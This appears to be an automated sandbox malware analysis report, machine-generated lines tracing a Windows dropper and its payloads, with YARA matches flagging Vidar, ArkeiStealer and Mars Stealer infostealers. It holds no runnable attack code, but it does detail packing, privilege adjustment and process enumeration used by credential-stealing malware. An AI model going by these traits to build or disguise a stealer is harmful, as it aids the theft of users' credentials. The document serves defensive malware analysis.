Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6094DA3A	17_2_6094DA3A
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609660FA	17_2_609660FA
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6092114F	17_2_6092114F
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6091F2C9	17_2_6091F2C9
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6096923E	17_2_6096923E
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6093323D	17_2_6093323D
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60950312	17_2_60950312
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6094D33B	17_2_6094D33B
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6093B368	17_2_6093B368
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6096748C	17_2_6096748C
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6093F42E	17_2_6093F42E
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60954470	17_2_60954470
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609615FA	17_2_609615FA
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6096A5EE	17_2_6096A5EE
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6096D6A4	17_2_6096D6A4
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609606A8	17_2_609606A8
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60932654	17_2_60932654
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60955665	17_2_60955665
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6094B7DB	17_2_6094B7DB
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6092F74D	17_2_6092F74D
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60964807	17_2_60964807
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6094E9BC	17_2_6094E9BC
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60937929	17_2_60937929
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6093FAD6	17_2_6093FAD6
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6096DAE8	17_2_6096DAE8
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60936B27	17_2_60936B27
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60954CF6	17_2_60954CF6
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60950C6B	17_2_60950C6B
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60966DF1	17_2_60966DF1
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60963D35	17_2_60963D35
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60909E9C	17_2_60909E9C
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60951E86	17_2_60951E86
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60912E0B	17_2_60912E0B
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60954FF8	17_2_60954FF8
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00648060	18_2_00648060
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B2046	18_2_006B2046
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006A8298	18_2_006A8298
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0067E4FF	18_2_0067E4FF
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0067676B	18_2_0067676B
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006D4873	18_2_006D4873
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0064CAF0	18_2_0064CAF0
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0066CAA0	18_2_0066CAA0
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0065CC39	18_2_0065CC39
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00676DD9	18_2_00676DD9
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0065D064	18_2_0065D064
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0065B119	18_2_0065B119
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006491C0	18_2_006491C0
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00661394	18_2_00661394
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00661706	18_2_00661706
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0066781B	18_2_0066781B
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0065997D	18_2_0065997D
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00647920	18_2_00647920
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006619B0	18_2_006619B0
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00667A4A	18_2_00667A4A
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00661C77	18_2_00661C77
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00667CA7	18_2_00667CA7
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006CBE44	18_2_006CBE44
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00679EEE	18_2_00679EEE
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0064BF40	18_2_0064BF40
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00661F32	18_2_00661F32

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: String function: 00403F50 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: String function: 0040A570 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: String function: 0096A570 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: String function: 00963F50 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: String function: 004054F0 appears 577 times
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: String function: 0065F9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: String function: 00660A30 appears 46 times

Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 888

Source: unicodedata.pyd.35.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: win32ui.pyd.35.dr	Static PE information: Resource name: RT_CURSOR type: 64-bit XCOFF executable or object module
Source: win32ui.pyd.35.dr	Static PE information: Resource name: None type: COM executable for DOS

Source: api-ms-win-core-file-l1-2-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: python3.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.35.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: M6gQuZPvgY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_mars_stealer_xor_routine author = Sekoia.io, description = Detect Mars Stealer based on a specific XOR routine, creation_date = 2022-04-06, classification = TLP:CLEAR, version = 1.0, id = 3e2c7440b2fc9e4b039e6fa8152ac8ff
Source: 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: Process Memory Space: m0wsoI3.exe PID: 5132, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: m0wsoI3[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: m0wsoI3.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: M6gQuZPvgY.exe	Static PE information: Section: zwbixhzy ZLIB complexity 0.9943893748127061
Source: rapes.exe.0.dr	Static PE information: Section: zwbixhzy ZLIB complexity 0.9943893748127061
Source: UD49QH6[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9994006849315068
Source: UD49QH6[1].exe.6.dr	Static PE information: Section: nafweblw ZLIB complexity 0.9946239951615361
Source: UD49QH6.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9994006849315068
Source: UD49QH6.exe.6.dr	Static PE information: Section: nafweblw ZLIB complexity 0.9946239951615361
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.998999091066482
Source: random[1].exe0.6.dr	Static PE information: Section: zzezzonx ZLIB complexity 0.9948263598127284
Source: c1f0508103.exe.6.dr	Static PE information: Section: ZLIB complexity 0.998999091066482
Source: c1f0508103.exe.6.dr	Static PE information: Section: zzezzonx ZLIB complexity 0.9948263598127284
Source: random[2].exe.6.dr	Static PE information: Section: lmgreshx ZLIB complexity 0.994475076311426
Source: 83f34278c7.exe.6.dr	Static PE information: Section: lmgreshx ZLIB complexity 0.994475076311426
Source: random[1].exe1.6.dr	Static PE information: Section: jtqqduow ZLIB complexity 0.9945868862443779
Source: 0629403be8.exe.6.dr	Static PE information: Section: jtqqduow ZLIB complexity 0.9945868862443779
Source: random[1].exe2.6.dr	Static PE information: Section: tojgfqvj ZLIB complexity 0.9946281566625729
Source: d101bd5267.exe.6.dr	Static PE information: Section: tojgfqvj ZLIB complexity 0.9946281566625729
Source: cronikxqqq[1].exe.15.dr	Static PE information: Section: .CSS ZLIB complexity 1.0003273242728532
Source: cronikxqqq.exe.15.dr	Static PE information: Section: .CSS ZLIB complexity 1.0003273242728532
Source: v7942[1].exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003622159090908
Source: v7942.exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003622159090908
Source: crypted.7[1].exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: crypted.exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: crypted.41[1].exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: crypted.exe0.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: mrwipre12[1].exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003352171985815
Source: mrwipre12.exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003352171985815
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: Section: zwbixhzy ZLIB complexity 0.9943893748127061
Source: libcrypto-3.dll.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9989805572769122
Source: libssl-3.dll.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9920756022135416
Source: python311.dll.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9993348982785603
Source: pythoncom311.dll.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9892076567220544
Source: unicodedata.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9945956541218638
Source: _cffi.cp311-win_amd64.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9908387947570333
Source: _imaging.cp311-win_amd64.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9978805954391892
Source: _imagingft.cp311-win_amd64.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9979953670705631
Source: _webp.cp311-win_amd64.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9907634636167147
Source: win32ui.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9937741537846482
Source: backend_c.cp311-win_amd64.pyd.35.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9894116950757575

Source: random[1].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 0629403be8.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: cronikxqqq[1].exe.15.dr, gBMthepoZSL1ZVKpeA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: cronikxqqq[1].exe.15.dr, gBMthepoZSL1ZVKpeA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: cronikxqqq[1].exe.15.dr, gBMthepoZSL1ZVKpeA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: cronikxqqq.exe.15.dr, gBMthepoZSL1ZVKpeA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: cronikxqqq.exe.15.dr, gBMthepoZSL1ZVKpeA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: cronikxqqq.exe.15.dr, gBMthepoZSL1ZVKpeA.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@112/196@0/14

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006B37B5 GetLastError,FormatMessageW,

18_2_006B37B5

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006A10BF AdjustTokenPrivileges,CloseHandle,		18_2_006A10BF
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006A16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		18_2_006A16C3

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006B51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

18_2_006B51CD

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006CA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

18_2_006CA67C

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006B648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

18_2_006B648E

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006442A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

18_2_006442A2

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\amnew[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4780
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2264:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4768:120:WilError_03

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

File created: C:\Users\user\AppData\Local\Temp\bb556cff4a

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: m0wsoI3.exe, m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: m0wsoI3.exe, m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
